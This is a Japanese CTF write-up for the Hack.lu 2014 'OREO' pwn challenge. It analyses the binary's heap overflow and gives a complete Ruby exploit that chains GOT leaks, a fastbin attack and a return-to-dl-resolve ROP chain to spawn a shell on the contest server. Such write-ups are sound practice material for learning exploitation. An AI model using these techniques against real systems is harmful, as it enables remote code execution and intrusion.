Hack.lu2014 OREO(pwn400)
本日は,何の日でしょうか? 本日は,バレンタインデーです.CTFerのみなさんはチョコをもらえたでしょうか. まだチョコをもらっていない人のためにOREOをみなさんにお届けします.
環境
本問題は以下の環境で行った.とりあえずUbuntu16.04LTSではうまく行かなかった.
uname -a
Linux vagrant-ubuntu-trusty 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
cat /etc/lsb-release
DISTRIB_ID=Ubuntu DISTRIB_RELEASE=14.04 DISTRIB_CODENAME=trusty DISTRIB_DESCRIPTION="Ubuntu 14.04 LTS"
下調べ
file
oreo: ELF 32-bit LSB executable Intel 80386 version 1 (SYSV) dynamically linked (uses shared libs) for GNU/Linux 2.6.26 BuildID[sha1]=f591eececd05c63140b9d658578aea6c24450f8b stripped
checksec
CANARY : ENABLED FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : disabled
解析
Welcome to the OREO Original Rifle Ecommerce Online System! ,______________________________________ |_________________,----------._ [____] -,__ __....-----===== (_(||||||||||||)___________/ | `----------' OREO [ ))"-, | "" `, _,--....___ | `/ """" What would you like to do? 1. Add new rifle 2. Show added rifles 3. Order selected rifles 4. Leave a Message with your Order 5. Show current stats 6. Exit!
各種コマンドの概要
1. Add new rifle
- malloc(56)が呼ばれる
- nameとdescriptionの入力
- HeapOverflowが発生
2. show added rifles
- 追加したライフルのname, descriptionが見れる
3. Order selected rifles
- freeを使って追加したライフルを解放
4. Leave a Message with your Order
- メッセージの入力ができる
5. Show current stats
- 注文の回数が見れる
以下にmallocで確保される構造体を示す.
struct Rifle { char desc[25]; char name[27]; struct Rifle* next; };
攻略方針
HeapOverflowを利用すると,Rifle->nextを任意の値に書き換えることで,2を利用した際にリークが発生する.このリークを使って,まずgotの情報を全部抜き取ってしまう.同様にしてstdinのアドレスもリークさせる.
次に,fastbins unlink attackを用いて,mallocの戻り値を固定することを考える.x86では80byte以下のchunkはfree時にfastbinsというサイズ毎に存在するLIFOな片方向リストにつながる.これに偽のchunkを登録して,再度mallocを呼ぶとLIFOなので偽chunkが返ってくる.これを利用して任意のアドレスの書き換えが可能になる.
また,本問題はlibcが与えられていない上に,カスタムlibcと呼ばれるオフセットなどが運営側でいじられているlibcになっている.いわば簡単にオフセットが求まらないlibcである.そこでReturn to dl-resolveと呼ばれるlibc情報を一切使わない手法を用いて,動的に__libc_systemのアドレスを取得する.そのためには,既知のアドレス上に偽構造体を作る必があるので,最初の方法でHeap領域のアドレスをリークし,そこにfgetsで読み込んで作り上げていく.その際にGOT領域なども書き換えて踏み台にしていったりするので,とても長いexploitになっていく.
Return to dl-resolveの説明に関しては,ROP stager + Return-to-dl-resolveによるASLR+DEP回避にかなわない(めんどくさかった…気が向いたらそれだけの記事を書くかもしれない)ので,こちらを参考にしていただきたい.
Exploit
stkofのときもそうだったが,Exploitが難しいと説明が難しい… コードにそって詳しいコメントを書いていったので,それを追って見ていこうと思う.
# coding: ascii-8bit require 'pwnlib' host = "localhost" port = 8888 if ARGV[0] == "r" host = "wildwildweb.fluxfingers.net" port = 1414 end def recv_until_Action(t) t.recv_until("Action: ") end def add(t, name, desc) recv_until_Action(t) t.sendline("1") t.recv_until("Rifle name: ") t.sendline(name) t.recv_until("Rifle description: ") t.sendline(desc) $rifle_counter += 1 puts "Rifle count = %d" % $rifle_counter end def show(t) recv_until_Action(t) t.sendline("2") t.recv_until("Action: ").scan(/Description: (.*)\n/)[1][0].unpack("L*") end def order(t) recv_until_Action(t) t.sendline('3') t.recv_until("\n") end def leave(t, msg) recv_until_Action(t) t.sendline('4') t.recv_until(": ") t.sendline(msg) end def show_current_stats(t) t.sendline("5") t.recv_until("\n") end def leak(t, addr, name = nil) name = name.to_s if name.nil? payload = name.ljust(27, "A") payload << p32(addr) add(t, payload, 'desc') tmp = show(t) show_current_stats(t) return tmp end PwnTube.open(host, port) do |t| $rifle_counter = 0 # ordered_counter 0x804a2a0 # rifle_counter 0x804a2a4 # pMessage 0x804a2a8 # Message 0x804a2c0 puts_got = 0x804a248 stdin_got = 0x0804a280 link_map_got = 0x804a22c pop3ret = 0x8048b46 leave_ret = 0x804844c popebp_ret = 0x8048ae3 # 偽chunkに利用 # rifle_counterはライフルを追加していって,0x40にする fake_chunk_prev_size = 0x804a2a0 fake_chunk_data = fake_chunk_prev_size + 8 link_map, dl_resolve, printf, free, fgets, stack_chk_fail, malloc, puts, gmon_start, strlen, libc_start_main, isoc99_scanf = leak(t, link_map_got) stdin = leak(t, stdin_got)[0] buf_addr = 0 rifle_addr = 0x804a288 rifle_cnt = 58 # 影響がないヒープ領域(真ん中ぐらい)のアドレスを計算 heap = leak(t, rifle_addr)[0] buf_addr = (heap + 0x8000) & 0xfffff000 # 58回mallocを繰り返す rifle_cnt.times do |i| add(t, 'name', 'desc') end payload = p32(buf_addr) # ebp payload << p32(fgets) payload << p32(leave_ret) payload << p32(buf_addr) # ba5eba5e payload << p32(1025) payload << p32(stdin) heap = leak(t, rifle_addr, payload)[0] # desc[25]の方が先にあるので,+25してアドレスをnameに合わせる stager_addr = heap + 25 puts("[+] link_map 0x%x" % link_map) puts("[+] dl_resolve 0x%x" % dl_resolve) puts("[+] stdin 0x%x" % stdin) puts("[+] stager_addr 0x%x" % stager_addr) puts("[+] buffer_addr 0x%x" % buf_addr) # Rifle->nextをNULLにすることで,余分にfreeされないようにする payload = 'A' * 27 # name payload << p32(0) # next add(t, payload, 'desc') # 偽chunkの次のchunk(0x804a2e0)に適切なサイズを配置 # 条件:8 < x < main_arena->system_mem (32bit) payload = "\x00" * 32 payload << p32(0x9) leave(t, payload) ########################## # fastbins unlink attack # ########################## # Rifle->nextを偽chunkにしておく payload = 'A' * 27 payload << p32(fake_chunk_data) add(t, payload, "") # 1回目のfreeは最新のchunkを解放 # 2回目は,上記で仕込んだ偽chunkを解放 order(t) # objdump -s -j .plt oreo plt = 0x8048450 # push link_map; jmp popebp_ret; # ebpをずらすので,Canaryが一致せず,__stack_chk_failが呼ばれる payload = "" # 書き換え前GOT payload << p32(stager_addr) # link_map payload << p32(popebp_ret) # dl-resolve payload << p32(printf) # printf payload << p32(plt) # free payload << p32(fgets) # fgets payload << p32(leave_ret) # __stack_chk_fail payload << p32(malloc) # malloc payload << p32(puts) # puts # fastbins unlink attackにより,偽chunkが返される # この偽chunkは選択肢4で使われるアドレスを指す # これをlink_map_gotに書き換えることで,選択肢4での入力先を書き換え add(t, 'rID', p32(link_map_got)) # 書き換えたことによりfgets(link_map_got, 0x80, stdin)が呼ばれる leave(t, payload) # 書き換えられたfreeが実行 order(t) ######################## # Return to dl-resolve # ######################## binsh_str = "/bin/sh\x00" system_str = "system\x00\x00" # fgets(buf_addr, 0x401, stdin)に入力されていくpayload fake_rel = buf_addr + 11 * 4 + binsh_str.length + system_str.length fake_dynsym = fake_rel + 8 # objdump -D oreo -M intel -j .rel.plt relplt = 0x080483d8 # objdump -s -j .dynsym oreo dynsym = 0x080481f8 # dynsymを偽Elf32_Sym構造体に書き換える dynsym = fake_dynsym # gdb-peda$ find 0x080481f8 dynsym_addr = 0x804a188 # objdump -s -j .dynstr oreo dynstr = 0x080482c8 # dl_runtime_resolve関数の第2引数reloc_offset reloc_offset = fake_rel - relplt index_dynsym = (fake_dynsym - dynsym) / 0x10 r_info = (index_dynsym << 8) | 7 puts("[+] fake_rel 0x%x" % fake_rel) puts("[+] fake_dynsym 0x%x" % fake_dynsym) puts "[+] reloc offset 0x%x" % reloc_offset puts "[+] index dynsym 0x%x" % index_dynsym puts "[+] r_info 0x%x" % r_info if(dynsym + index_dynsym * 16 == fake_dynsym) puts "assert" end if(index_dynsym < 256) puts "assert2" end # fgets(buf_addr, 1025, stdin)に入るpayload payload = p32(0xba5eba5e) # fgets(dynsym_addr, 5, stdin) # dynsymをfake_dynsymに書き換え payload << p32(fgets) payload << p32(pop3ret) payload << p32(dynsym_addr) payload << p32(5) payload << p32(stdin) # dl_resolve(link_map, reloc_offset) # その後,eipが__libc_systemに移る payload << p32(dl_resolve) payload << p32(link_map) payload << p32(reloc_offset) binsh = buf_addr + payload.length + 8 payload << p32(0xdeadbeef) payload << p32(binsh) payload << binsh_str system = buf_addr + payload.length payload << system_str if(fake_rel == buf_addr + payload.length) puts "assert3" end # ここからfake_rel payload << p32(puts_got) payload << p32(r_info) if(fake_dynsym == buf_addr + payload.length) puts "assert4" end # ここから,fake_dynsym # fake_dynsym->st_name + dynstr = "system"を指したい payload << p32(system - dynstr) # st_name payload << p32(0) # st_value payload << p32(0) # st_size payload << [0x12].pack("C") # st_info payload << [0x00].pack("C") # st_other payload << [0x00].pack("S") # st_shndx payload << p32(0xdeadbeef) t.sendline(payload) # fake_dynsymの送ってdynsymを書き換え t.sendline(p32(dynsym)) t.interactive end
Hack.luのサーバはまだ動いているので,実際にリモートに向けてexploitコードを試した結果が以下である.
また,lddでリンクされているlibcを求めて,実際に実行してみるとカスタムlibcだと言っている.
感想
たぶん半年ぐらい空けてようやく理解ができた.コンテスト中にここまで緻密にstagerしていくのは,まだできないので良い練習になったと思う.達成感はデカイ.@wapiflapioのwriteupを参考(丸パクリ)しながら検証していったので,とても助かった.しかしところどころ必要のないと思われる部分があり,そこは自分なりに修正したので間違っていた教えていただきたい.